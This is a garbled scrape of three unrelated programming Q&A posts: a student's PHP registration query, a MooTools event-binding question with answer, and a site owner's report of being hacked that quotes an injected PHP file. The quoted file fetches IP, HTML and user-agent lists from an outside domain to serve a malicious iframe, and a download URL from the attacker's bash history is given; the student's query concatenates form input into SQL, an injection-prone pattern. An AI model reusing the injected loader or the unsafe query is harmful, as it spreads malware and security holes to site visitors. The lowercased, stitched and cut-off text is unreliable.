first of sorry language. doing shopping cart application assignment college. have problem registration for. problem is inserting first query $addsql = "insert customers(forename, surname, add1, add2, add3, postcode, phone, email, registered) values('" . strip_tags(addslashes($_post['forenamebox'])) . "', '" . strip_tags(addslashes($_post['surnamebox'])) . "', '" . strip_tags(addslashes($_post['add1box'])) . "', '" . strip_tags(addslashes($_post['add2box'])) . "', '" . strip_tags(addslashes($_post['add3box'])) . "', '" . strip_tags(addslashes($_post['postcodebox'])) . "', '" . strip_tags(addsla

Javascript Mootools click event and his caller? -

i have little script: var moolang = new class({ initialize: function(element) { this.el = $(element); this.el.addevent('click', this.popup); }, popup: function() { //this.id = id of element. } }); and want know "this" in popup function. if try alert(this.el.id) says there no this.el :/ is there way know class adds event? change attach event callee has proper context. otherwise context of event listener target element. // change line this.el.addevent('click', this.popup); //to this.el.addevent('click', this.popup.bind(this)); // popup->this == jsfiddle here see mootools documentation . binding context of function.

php - I was just hacked, but I don't know how or more importantly, why. Very odd code injected -

edit : work far. i've found being download , ran in bash history: http://notsoft.ru/glib (safe view) thanks all i've noticed source php of site has been edited. i've no idea how (i've changed passwords since) what's confuses me why. in couple of pages there iframe placed, linking xml.php file placed in images directory (the directory accessible htaccess. code must have been hand placed pages complex , auto place without braking these pages have been near impossible. now really confusing thing contents of xml.php file, can see nothing. here's code: <?php $urlips = "http://mp3magicmag.com/frame/ips.txt"; // url ip's $urlhtml = "http://mp3magicmag.com/frame/html.code"; // url html.code $urlua = "http://mp3magicmag.com/frame/ua.txt"; // url user agent file if(isset($_get['ping'])){ echo "status: ping successful!"; die; } $ip = $_server['remote_addr']; //orezaem deapozona $e